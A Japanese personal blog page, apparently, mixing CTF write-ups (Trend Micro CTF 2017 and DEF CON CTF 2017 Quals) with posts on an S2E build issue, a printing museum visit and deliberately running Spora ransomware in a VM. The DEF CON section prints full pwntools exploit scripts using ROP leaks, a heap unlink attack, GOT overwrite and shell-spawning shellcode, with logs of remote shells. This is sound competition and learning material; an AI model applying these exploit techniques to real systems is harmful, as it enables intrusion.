ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

Trend Micro CTF 2017 Qual - rev100, osint100, misc100 の Writeup

日本時間で2017/6/24 13:00 - 6/25 13:00に開催されたTrend Micro CTF(TMCTF)にPing-Micで参加しました。時間は24時間です。 ぼっちだったので時間が全然足りんかったです。

以下の3問のWriteupを書きます。18時間かけて成果がこれですよ、はい。

  • Reversing 100
  • OSINT 100
  • misc 100

結果はチームとして300点(内300点submit)のTODO位です。

Reversing 100

初見でやるだけの自明な問題と分かるタイプの問題でした。バイナリ解析とx64dbgのリハビリとして解きました。良いリハビリになりました。

手順:

  1. fileコマンドでファイル形式を確認して展開→PEと暗号化済みzipが出てきた
  2. 32ビットのPEバイナリは動的解析をうまくしながら静的解析(※後述)
  3. 1つ目のパスワードmacaronがでてきるので暗号化済みのzipを復号
  4. 最終ステージに突入。画像ファイルの末尾にPKの文字があり、後ろにzipがあることが自明。1つ目のキーワードcreamという文字が書かれたtxtファイルが出て来た(※後述)
  5. 2つ目の32ビットPEバイナリを動的解析して2つ目のキーワードchouxを得た(※後述)
  6. biscuit4というファイルにはフラグ生成の指示が書かれている。それをもとにありえるflagを全通り試す(※後述)

1つ目のPEバイナリ(biscuit1)の解析

32ビットときたら久々のIDA Freeの出番です!x64dbgでstackを観察する限り、main関数相当の関数でargv, envを読み取ってから何か情報を得ている様子がないのと、プログラムからcost char[]ではない文字列の出力がないので内部でsecretを生成するタイプのバイナリと判断しました。

f:id:katc:20170625183627p:plain

IDAによる静的解析でスタックに文字列を積んでその後のループでこねくり回しているいかにもな箇所を発見しました。あとはx64dbgでステップ実行しながらスタックを人力で監視してmから始まるスイーツの名前が出て来るのを待ちます。

f:id:katc:20170625183646p:plain

よく見るとmarcaronという文字列が生成されたのがおわかりいただけると思います。

画像ファイル(biscuit3)の解析

最終ステージで出てきた怪しげな画像ファイル。そこに何もflagのヒントがないということは少ないので010 Editorにぶち込みます。 画像ファイルの終わりに怪しげなPKの文字。zipファイルを付加されているのが自明です。

f:id:katc:20170625184108p:plain

2つ目のPEバイナリ(biscuit5)の解析

先と同じノリで静的解析してsecretを生成しているルーチンを探します。5文字という決め打ちの値でループを回しているところが怪しいです。

f:id:katc:20170625184721p:plain

x64dbgでは0401656にソフトウェアブレークポイントを張って、Runさせながらメモリがどう書き換わるのかを観察しました。元々"biscuit"だった5文字が何に変わるのでしょうか。

f:id:katc:20170625184802p:plain “choux"が出てきましたね。

flag生成

biscuit4にはこう書かれていました。

Please create flag.

hint:

Flag = TMCTF{biscuit3_ biscuit5}

この場合、biscuit5でのトラップを考えると、flagは次の10+5通りがありえます。

  • TMCTF{cream_ choux}
  • TMCTF{cream choux}
  • TMCTF{cream_choux}
  • TMCTF{CreamChoux}
  • TMCTF{Cream Choux}
  • TMCTF{Choux Cream}
  • TMCTF{ChouxCream}
  • TMCTF{choux cream}
  • TMCTF{choux_ cream}
  • TMCTF{choux_cream}
  • TMCTF{cream_ biscuit}
  • TMCTF{cream_biscuit}
  • TMCTF{cream biscuit}
  • TMCTF{Cream Biscuit}
  • TMCTF{CreamBiscuit}

あとは片っ端から試して、この問題のフラグはTMCTF{choux_cream}

OSINT 100

問題文:

Category: Iot/osint/scada
Points: 100

Today you received an email that seemed to be from an online shopping site that you use - but when you followed the link something definitely did not seem right. It appears that the world's worst phisher must have set up the page - and has targeted you with a phishing attack!

The email text said you needed to visit a link to update the security of your acccount. However the link actually lead to the site ctf.superpopularonlineshop.com.definitelynotaphishingsite.com

For this challenge you must find the "Real Person" who is behind this attack - leveraging your Open Source Intelligence (OSINT) skills.

The Flag will be found on one of their social profile pages


NOTE: Pen Testing the site will not help - in fact all you need to start the trail is in this email already

要するに、

  • ctf.superpopularonlineshop.com.definitelynotaphishingsite.com というFQDNをヒントに当事者の実名を見つけてくれ。
  • サーバーを調べても何も出てこないよ

ということです。

手順:

  1. whois情報を見る
  2. OSINTツールでひたすら辿る

うまくいく辿り方

  1. http://domainbigdata.com/definitelynotaphishingsite.tk
  2. Other TLDsで出てくるドメインをクリック
  3. http://domainbigdata.com/definitelynotaphishingsite.com
  4. RegistantのOsint Isfunをクリック
  5. http://domainbigdata.com/nj/0yFrGiv7y4k017TTe3o6UQ
  6. 個人所有っぽい t3m4.com にアクセス
  7. ホームページのタイトルがPersonal Home Page for T3-M4Haxor
  8. T3-M4Haxorでググる
  9. 実名っぽい(でもこれはコンテスト用のfake情報で、仮称もあり得る←実際どうなん?)LinkedInがヒットする→開く
  10. (*)が載っている。
  11. 13という文字からしてROT暗号。文字列を回してフラグ TMCTF{FTR0SINT101} を得た

(*)

プロジェクト
Trend Micro CTF 2017
Proud to have helped with the Trend Micro CTF 2017 - especially Secret Challenge “13” -> GZPGS{SGE0FVAG101}
チームメンバー:
Davik Surik

役に立たない情報/ひっかけ情報

  1. 電話番号でググるhttp://www.25cycle.com/ にたどり着く → whois で Abel Network という会社が出てくる → この会社のFacebookを見る限りCTFに関係なさそうな人物

misc 100

Wiresharkで見る前に、stringsで疑似Follow TCP Streamします。FTPでkeylog.txtファイルを送ったのが分かりました。中身がこちら:

CLIENT_RANDOM 9563c57725522ab0cebb420f2ff549cdcc214d05a2b7aa5601f1935bcd1ac7c3 c5e10df5dbd09bd97b5ea6f1b291d8cac7066178d6805cf371e12ea1095131d1e6096132d7d0e072c78005f6d1b7fe5b
CLIENT_RANDOM f51ac603ddd9c6d8146cd03028f129365e32a928a08629892be4c26a454634bb 0a9dea018920113ec333446e1a185fd072444a1db9d7a8a9b9b21f2472f39db3f92929a25e3d634d58259537a3b47d60
CLIENT_RANDOM 3e401f34cc591c8a35aeedaddf181f7c458a84e058392735d74679eb0393431a 89d66ea9f10d711b6ff8c54c86474096252b8e8173aa271d8441b38c720d9d4a5b569b14cb1d898df16473ebfa23a1d2
CLIENT_RANDOM 0e2d5ecede1cf0f7d1d75329e3e386e160d99ac89e0ec09187651096d79ba35a afe74535c230c9d7e5f08ace8ce02d8200b8078854e41c30703f7da4ab7bd405788956805e9403996aa9412e2a26d545
CLIENT_RANDOM 89e8225f13ed1b39406f25c3f634f0ec91da0be693b7dcb9044efbbf2fe9363e 60b8b92fd58faabbfe00bec7fbf1c39db21030ff3c215c079176be6bcfe167df4114f1950790aaf432312a1397be2cb6
CLIENT_RANDOM 55d1989b2b9005b72599552ff352c4eef03bdb7153aaddd9942d69a19441fdaf 07cc14d902872bbdbdf5d05463a918c585604d373d7524ff405c396a2d4adafffd82b6136de4b7204d33fd9f2ff8f113
CLIENT_RANDOM 3cd78f4befe06bdb4c5559930817c8056aa14fe0c6a67d806ea0cc34c317fa51 ac7be48df12853bae2896042829a2011225e56ccdb63a05520b574b6d9f4aedd3f6c8377d47130e995f16a588dad5858
CLIENT_RANDOM cfaf0c18297c00ba7541ae55012df1fe825727a32ab94e38e1aeb985f9cf3ce5 3f81b68f0b9df5b719a54bb364505cb29209ae7a30d0525bb5a873e375bdbc9ac77ff24aa21def886d61f7cdcc0b06d5
CLIENT_RANDOM a77cdcf8084d073ec7059933e454408e25c6a01c8dbb888e9a3a862b609d8503 b5e7230fc735a87666fd2aee430917fd97bcf5f961b4099b979453b51176c0496629fe5af17da7f52204953782c90fdb
CLIENT_RANDOM d2d06ea94000a9204ea9e2d8272e77e4758958caaff0e9b4bfa7dbe4228d9251 bb716b4ff6de9730d0cd85446f3b5682b9055a54ac071279326ad2739083f54f0d13e689b47fcbb88a0dddb9ddd44175
CLIENT_RANDOM 4955c52a45946483854a4f333493870baa838a5c54c7112252a2828931393cd3 45aef6edb24a058b613559847db56db375b2f4286f9633f26735799ac2e8b0679853e72c1ec4188908bfa9b021c829cd
CLIENT_RANDOM 2acd97c21e8d33bb349d9612cb5b6220f10e5e4106d9449bf7dc5c933292f59e f70dc2ce8a96da62b9c6c5e2dea8aa776a666908c46a34d71dd297a002ba9e6a55b39e1cc8e845a7e058c779b400f82f

Wiresharkでの初見の印象はSSLFTPだったので、頭の中の過去問データベースから推論して、既知のpre master secret keyからのSSL通信の復号がメインテーマっぽいと考えました。 確か特殊な環境変数の元でブラウザを起動すると指定した場所にpre master secret keyを保存してくれましたよね。Slideshareとかでサーバーの秘密鍵がなくても通信の中身が見れるよーっていうスライドを以前に見たことがあります。 ファイルに特徴的なCLIENT_RANDOMでぐぐっても同じ結論に至ると思います。

keylog.txtをWiresharkに食わせてSSL暗号化を解除しました。HTTP2が見えるようになりました。 SECCON 2016 QualsのときはHTTP2のヘッダを解析してくれなかったんですが今は対応してますね。

f:id:katc:20170625194403p:plain

見つけたHTTP GET Requestは次の通りです:

  • index.html
  • main.css
  • 404.html
  • 画像2枚

あとは、それぞれのペイロードをCopy > Bytes > Offset Hex(Cypy > … as Hex Dump)でコピーしてテキストエディタでいらないところを置換で消去してから保存。 次に、xxd -r -p FILE.hex > FILE.bin。 HTTP Response Headerからhtmlとcssgzip圧縮がかかっていることが分かるので、画像以外は gzip -d FILE.bin.gz > FILE.binも必要。 main.cssはあとでブラウザで読み込むのでファイル名をちゃんと合わせておきます。

index.htmlをブラウザで確認すると、Lorem ipsumのような文字列と画像が2枚、モザイク状の画像が2つあるのがわかります。 画像はビールとブルーベリーで元ネタはフリー素材です。ブルーベリーだけお尻が切れた(SOSからEOIが未完結な)jpeg画像でした。 モザイク状の画像はCSSのbackgroud-image: url()で与えられたものです。2枚表示されますがどちらも同じです。サイズは8の倍数で01の2値情報を含んでいるかと思って復号してみましたが乱雑なデータしか出てこないのでノーチャンです。

f:id:katc:20170625194541p:plain

もう一度htmlのコードをよく見ると64行目に、

    <samp>HINT: visual cryptgraphy</samp>

と書いてあるのを見つけました。Visual CryptographyでググるWikipediaのページが出てきました。

Visual cryptography - Wikipedia

f:id:katc:20170625193838g:plain

これ、ほぼ答えですねー。Photoshopでモザイク状の画像のレイヤーを2つ用意して一方を上下方向に1ピクセルずつずらしてフラグゲットしました。

f:id:katc:20170625194142p:plain

fllag: TMCTF{CanYouSeeThis?}


@運営:
当初から掲げていた、サイバー犯罪・サイバーセキュリティの最前線の追体験を重視したCTFが体現されてましたし、今までよりもずっと洗練されてきています。 今の路線で続けてほしいと思っています。 あと知的興味を刺激されたいいCTFでした。


問題を解くのに変に時間をかかってしまう病がまた発病してますね。これじゃCTFを始めた頃と同じですわ。 負け惜しみみたいな文面になりますが、他のWriteupを見る限りForensic 100とAnalysis-Defensive 200はやるだけの簡単な問題でしたね。ノーチェックでした>< 過去に類似の問題が出ているので、この問題のflagをsubmitしてないのはguiltyなレベルですわ。 今回は普段CTFで出題されないような問題(特にOSINT)を解くことを重視したので、自分の中でその問題をノーチェックだったのはまあ仕方ないといということにしておきます。

チームに2人以上いれば、誰でも解ける段階まで解けたら他の人に投げて別の問題を解くということもできるんですが、最近の有名どこのCTFは皆が忙しいときに開催されるので人数が揃わないんですよね。 CTFが超好きで、予定を調整して参加するほどの人ってなかなか居ないのが最近の悩みです。

解きたかった問題:

S2Eの差分ビルドがうまくいかなかった

備忘録です。S2Eを一回フルビルド後に、1つのファイルを変更して make -f ../s2e/Makefile しても変更が関知されなかったことがありました。 本家のドキュメントには

Updating S2E You can use the same Makefile to recompile S2E either when changing it yourself or when pulling new versions through git. Note that the Makefile will not automatically reconfigure the packages; for deep changes you might need to either start from scratch by issuing make clean or to force the reconfiguration of specific modules by deleting the corresponding files from the stamps subdirectory.

from https://github.com/dslab-epfl/s2e/blob/master/docs/BuildingS2E.rst

と、修正が多いときはmake cleanしてフルビルドしないといけないケースはあるようです。 それは面倒いのでオブジェクトファイルを消去する方法で対処してみました。

s2e-buildでs2eのビルドをしたので、s2eに関するオブジェクトファイルは s2e-build/qemu-release/arm-s2e-softmmu/s2e に生成されます。変更したソースコードに対応するオブジェクトファイルを消去して make -f ../s2e/Makefile して差分ビルド成功です。

そのあとは一々オブジェクトファイルを消去しなくても差分ビルドしてくれるようになったのでよくわからんです。
# Makefileがs2eのコードの変更を監視してないように見えるんですがこれは…

印刷博物館に行ってきた

マツコの知らない世界というテレビ番組で、絶対フォント感を持つフォント好きの数学教師が出演しました。 自分が好きなフォント、ロダン Pro DBで事項紹介用のフリップをマツコさんに見せたところ、 「普段のフリップのフォントの方が見やすい」と一蹴された場面と、 「そ」の字形の違いに疑問を持ったことがフォントにはまったきっかけだったという話が特に好きです。

# 僕がフォントにはまったきっかけはMicrosoft OfficeのWordでした。

番組の放映後に印刷博物館で「印刷書体のできるまで」という企画展が開催されていることをTwitterで知りました。 この総合展示は6/18(日)まで開催されています。まだまだ間に合いますよ。

印刷博物館:P&Pギャラリー > 印刷書体のできるまで 活字書体からデジタルフォントへ

2017/6/1に上京予定があり(理由はお察しの通り)、夕方前まで予定が無かったので早起きして10時に到着するようにがんばりました><

印刷博物館凸版印刷の建物の中にあります。 有楽町線江戸川橋駅から行くと、川に沿って歩くだけで到着して楽です。 有楽町線はめっちゃ空いていました。 建物はTOPPANと書かれた半円筒形の建物の裏に有るので駅の出口からよく見えます。

1Fの総合展示の入り口のすぐ近くにコインロッカーがあります!お金が戻ってくるタイプです。(ありがたや〜

企画展のメインは凸版文久明朝体ができるまでです。 ラフ〜デザイナーと監修者のやりとり〜墨入れによる清書〜ベクター化〜ベジェ曲線の調整〜レビュー〜完成、という流れです。 印象に残ったことを箇条書きします(メモは取ってないので曖昧です)。

  • スキャンするまでは方眼紙上でデザインしている
  • デジタル化した後は1000☓1000マスのグリッドを基準に考える(へー
    • 線の太さは 24/1000 という具合に指定する
  • ラフや下書きの線がガタガタ
  • レビューのときに、
    • 監修者はデザイナーのアイデアのよさを明確にした上で、自分の意見は参考程度にとどめてと念押ししていた。互いを尊重し合うやりとりが見れてよかった
    • 顔のイラストが至るところに描かれていたのが印象的
    • 監修者がこれってどうかなーって書いて見せて、即、やっぱバランス悪いわ、○○さんさすがっす、で書いててみたいなおちゃめなところ良い
    • 普段の字がそれほどきれいじゃないというのと、丸文字で女の子っぽいという意外性
  • ひらがなと漢字のうろこの向き(左or右)が違うことで議論していた(確か)。この辺は一度も気にしたことがなかった

一旦展示室を出て、室内のエスカレータで地下1階に行きました。 総合展(常設展示)が目的です。 お金を払って入ると、甲骨文字からデジタルディスプレイまでの文字や印刷が関わるものが壁一面に埋め込まれていました。 ドン引きしたのは箱の中にパラパラ漫画が入っていて、横に付いたハンドルを回してパラパラ漫画を見るというクソうるさいものがあったことです。 (なんでこんなものが。ノードでええやんけ)

このエリアが終わると大きい部屋に着きます。 近代・現代の版画、近世の出版物、昭和なポスター、クソデカいフォトレタッチの機械、 それと、母型をレーンに入れといて、キーボードをタイプすると、対応する母型が落っこちて(スペースだとスペーサーみたいのが落っこちます)、行ごとに鉛の版を作る超ドン引きな機械があったりしておもしろかったです。

印象に残ったのは、

  • 『ルソーの森の考える虹猿』(後述)
  • 杉田玄白の頃に使われていた解剖道具(実物っぽい)
  • 富嶽三十六景(浮世絵)が版画の要領で多色刷りされる様子(色が載ってく様子を段階的に観察できるようになっている)
  • インクが出すぎてしまう、残念なカレンダー印刷機
  • 先のドン引き機械を使った印刷方法を説明するビデオに出てた人♂の髪型が近世ヨーロッパにありがちなきのこカットでかわいいですな
  • 昔の写真のレタッチから現像までする様子を模したジオラマ(イラストだと別の角度から見れないのでジオラマの良さが活かされていてよかった)
  • ICを作るとき使うフォトマスクって、美術で習ったエッチングっすな。これじゃ凸版印刷が電子回路系に手を出すのも仕方ないね(コナミ感)

あと意外だったのは、

  • I want you for U.S. army のポスター(実物?;帽子を被って指差しするおっさんのポスター)があった

下の写真は僕が作ったカレンダーです。 これは体験型の展示物で作ったものです。 日付の数字だけは印刷してあって、残りをスタンプ式の機械4台を使って印刷しようというコンセプトの展示です。 最初の1台以外はインクが出すぎてしまうという極悪仕様で、見事に残念なカレンダーとなってしまいました><

f:id:katc:20170614230635j:plain

最後に、企画展をもう一度回った後、ミュージアムショップで虹猿のポストカードとフォントかるた(2,500円!)を買いました。 ポストカードの方は色遣いが凄まじいですな。 悲しいことに、かるたを買ったは良いものの、一緒に遊んでくれそうな人がいません(にゃーん

f:id:katc:20170614231048j:plain

SporaのChrome font.exeを動かしてみたけど、Decryption Errorでコンソールが表示できなかった話

例の「マルウェア解析に必要な素養」に書きましたが、2017年1月からランサムウェアのSporaが出現しています。 一般的なランサムウェアが壁紙を変えて脅迫文を表示する一方で、SporaはWebコンソール(管理画面)を犯罪者とのやり取りに使う変わったランサムウェアです。 今日はそのコンソールのスクショを取るためだけにSporaに感染してみることをしてみましたが、うまくいかなかった話をします。

Sporaの入手

SporaはChromeユーザーにフォントのインストールをダイアログで指示してきます[1]。 hybrid-analysisでsporaタグが付いたレポートからして、Chrome font.exeというのがそのときのファイルっぽいので、次のレポートに添付されている検体を入手しました。

わざと感染

感染ステップ:

  1. 光回線端末とルーターの電源を落として、またつなぐ(=PPPoEセッションの貼り直し=グローバルIPアドレスの変更)
  2. 感染前のスナップショットに復元してあるVMに暗号化されるファイルと検体を投入
  3. 検体を実行→Cドライブのファイルが暗号化されるっぽい(VirtualBoxの共有フォルダ内も暗号化されます!)

Windows 8VMのデスクトップにjpgファイルとxlsxファイルをおいてChrome font.exeを走らせました。 f:id:katc:20170602211146p:plain

感染後、ファイルが暗号化され、各フォルダにIDに".html"がついたhtmlファイルが生成されました。 IEが立ち上がり、アカウントのログイン画面のようなものが表示されます。 f:id:katc:20170602211202p:plain

リンク先を開くとファイルを復号できることを確認するステップが始まりますが、1つファイルを送った後にエラーが出て先に進めませんでした。 f:id:katc:20170602211337p:plain f:id:katc:20170602211250p:plain

Wireshark: https://packettotal.com/cgi-bin/view-analysis.cgi?id=5403d67eddb25e570a4b15db7e505588

インテリジェンス的な情報

SporaがWebコンソールを以下のドメインで動かしています・いました(?)

IDは例えばこんな感じです。国のコードが付記されるのが特徴です。

  • JP53B-9ERTZ-TZTZT-FTHYY
  • JP7D0-37RTZ-TZTZT-FTHYY
  • JPEB6-0DHTZ-TZTZT-XZTHY
  • JP182-1EXTZ-TZTZT-FTXYY

参考文献

[1] 2017年第1四半期 セキュリティラウンドアップ | トレンドマイクロ


コードを抜き差ししてたらPPPoE接続後に外に繋がらなくなりがちになった…

DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup

TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。

TomoriNaoは 126 pts. で 122位 でした。

f:id:katc:20170501130549p:plain

簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。

解いたのは下の3つです。100点submitを目標にしていたので満足です。

  • Baby’s First - smashme (TODO pts.)
  • Baby’s First - beatmeonthedl (TODO pts.)
  • Potent Pwnables - mute (TODO pts.)

smashme

バイナリの挙動

  • BOF(stack smashing)させてくれる

アプローチ

  1. ROPによりinformation leak
  2. main呼び出し
  3. shellcode送信
  4. shellcode呼び出し

shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。

information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。

リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。

エクスプロイトコード

コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz

from pwn import *
from sys import argv

BIN = "./smashme"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

# shellcode = "\x48\x89\xEC" + shellcode              # mov    rsp,rbp 
shellcode = "\x48\x89\xE5" + shellcode              # mov    rbp,rsp 
# shellcode = "\x48\x83\xEC\xf0" + shellcode          # sub    rsp, N
shellcode = "\x48\x83\xC4\x40" + shellcode          # sub    rsp, N

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

r = None
offset = {}
if REMOTE:
    r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348)
else:
    r = process(BIN)

prefix = "Smash me outside, how bout dAAAAAAAAAAA"
payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7)
# payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7)
with open("payload", "w") as f:
    f.write(payload)
# if not REMOTE:
#     exit()

# context.log_level = 'debug'

# if not REMOTE:
#     r.sendline("")
print r.recvline()

# bp()

# bss_stdin = 0x6c9748
# bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210
bss_environ = 0x6cb640

# addr_push_rsp_ret = 0x0044611d
addr_pop_rdi_ret = 0x00401942
addr_puts = 0x40fca0
addr_main = 0x4009ae
rop_chain = [
    p64(addr_pop_rdi_ret),
    p64(bss_environ),
    # p64(0x4a06d8), 
    p64(addr_puts),
    p64(addr_main),
]
r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain))
# if not REMOTE:
#     r.sendline("")
#     r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
# res = r.recvline().replace('\n', '')
res = r.recv(6)
addr = u64(res.ljust(8, '\0'))
print "addr = %#x" % addr
shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20
print "shellcode addr = %#x" % shellcode_addr
# r.interactive()
r.recvline()

bp()

payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr)
r.sendline(payload)
# r.sendline("ls")

r.interactive()

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?

addr = 0x7fff7dbc8508
shellcode addr = 0x7fff7dbc83b7
[*] Switching to interactive mode
Welcome to the Dr. Phil Show. Wanna smash?
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d

beatmeonthedl

バイナリの挙動

  • mallocのチャンクへのポインタのテーブルがbssに置かれる
    • チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
  • チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF
  • コンパイル条件的にGOT Overwrite可能
  • スタックが実行可能(wrx

アプローチ

  • Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
    • 実際は最新Arch Linuxglibc 2.25-1)でも下のエクスプロイトコードは動くので半分間違ってる
    • あとは★参照
  • information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
  • ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
  • 実行可能領域であるスタック(wrx)にshellcodeを書き込む
  • GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)

別記★

  1. 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
  2. consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる

エクスプロイトコード

from pwn import *
from sys import argv
from time import sleep

BIN = "./beatmeonthedl"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
SOCAT = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True
    if argv[1] == "r":
        SOCAT = True

r = None
offset = {}
if REMOTE:
    r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969)
elif SOCAT:
    r = remote("localhost", 6969)
else:
    r = process(BIN)

"""menu
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
"""

def request(text):
    r.sendline('1')
    r.send(text)
    res = r.recvline()
    if "[-] Request list full" in res:
        log.warn(res)
        r.recvuntil('| ')
        return False
    r.recvuntil('| ')
    return True

def print_req():
    r.sendline('2')
    res = r.recvuntil('| ')
    req = []
    for x in res.split('\n'):
        if len(x) > 1:
            if x[0] in "0123456789":
                no, data = x.split(')')[:3]
                data = data[1:]
                req.append((no, data))
    return req

def delete(no):
    r.sendline('3')
    r.sendline("%d" % no)
    # print r.recvuntil('| ')

def change(no, text):
    r.sendline('4')
    r.sendline("%d" % no)
    if len(text) > 0x80:
        log.fatal("too log data")
    r.recvuntil("data: ")
    r.send(text)
    r.recvuntil('| ')

patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

r.sendline(patt[:40])
r.recvuntil("Invalid user: ")
res = r.recvline().strip()[-6:]
addr = u64(res.ljust(8, '\x00'))
log.info("leaked addr = %#x" % addr)
mapped_base_addr = (addr - 0x1f000) & ~0xfff
if REMOTE and len(argv) == 3:
    mapped_base_addr += int(argv[2], 16) * 0x1000
    log.info("arrange offset = %#x" % int(argv[2], 16))
log.info("mapped_base_addr = %#x" % mapped_base_addr)

r.recvuntil('Enter username: ')
r.sendline('mcfly')
r.recvuntil('Enter Pass: ')
r.sendline('awesnap')

r.recvuntil('| ')


# for i in range(32):
# for i in range(4):
for i in range(2):
    # succ = request(chr(97 + i) * (0x80))
    succ = request(chr(97 + i) * (0x10))
    if not succ:
        break

# list_ptr = 0x609e80
# 0 0x60a030 
# 1 0x60a070
# 2 0x60a0b0
# 3 0x60a0f0

print print_req()

### 2
request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode)

# context.log_level = 'debug'

### 3
request("c" * 0x10)
### 4
request("d" * 0x10)

# mapped_base_addr = 0x00007ffffffde000
ptr_reqlist = 0x609e80

#### reqlist[2] = mapped_base_addr
change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))
delete(4)
log.info("reqlist[2] has overwriten")
bp()

sleep(1)

# context.log_level = 'debug'
change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode)
log.info("injected shellcode to reqlist[2]")
bp()

main_addr = 0x40123c
heap_base_addr = 0x0060a000
plt_got = {"puts": 0x609958}
shellcode_addr = mapped_base_addr
log.info("shellcode addr = %#x" % shellcode_addr)
assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000)

log.info("change(0, ...)")
change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))

log.info("=== [got overwrite] ===")
log.info("delete(1)")
bp()
r.sendline("3")
r.sendline("1")


# context.log_level = 'debug'

r.interactive()

結果

K_atc% python2 beatmeonthedl.py r
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
[*] leaked addr = 0x7ffe3b12a4b0
[*] mapped_base_addr = 0x7ffe3b10b000
[('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')]
[*] reqlist[2] has overwriten
[*] injected shellcode to reqlist[2]
[*] shellcode addr = 0x7ffe3b10b000
[*] change(0, ...)
[*] === [got overwrite] ===
[*] delete(1)
[*] Switching to interactive mode
0) @\x99`
1) bbbbbbbbbbbbbbbb
2) H\xbf@\xb0\x10;\xfe\x7f
3) x\x9e`
choice: $ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!

mute

バイナリの挙動

  • シェルコードをmappedされた領域に置いて call rdx で呼び出してくれる親切設計
  • seccompを使用したサンドボックス
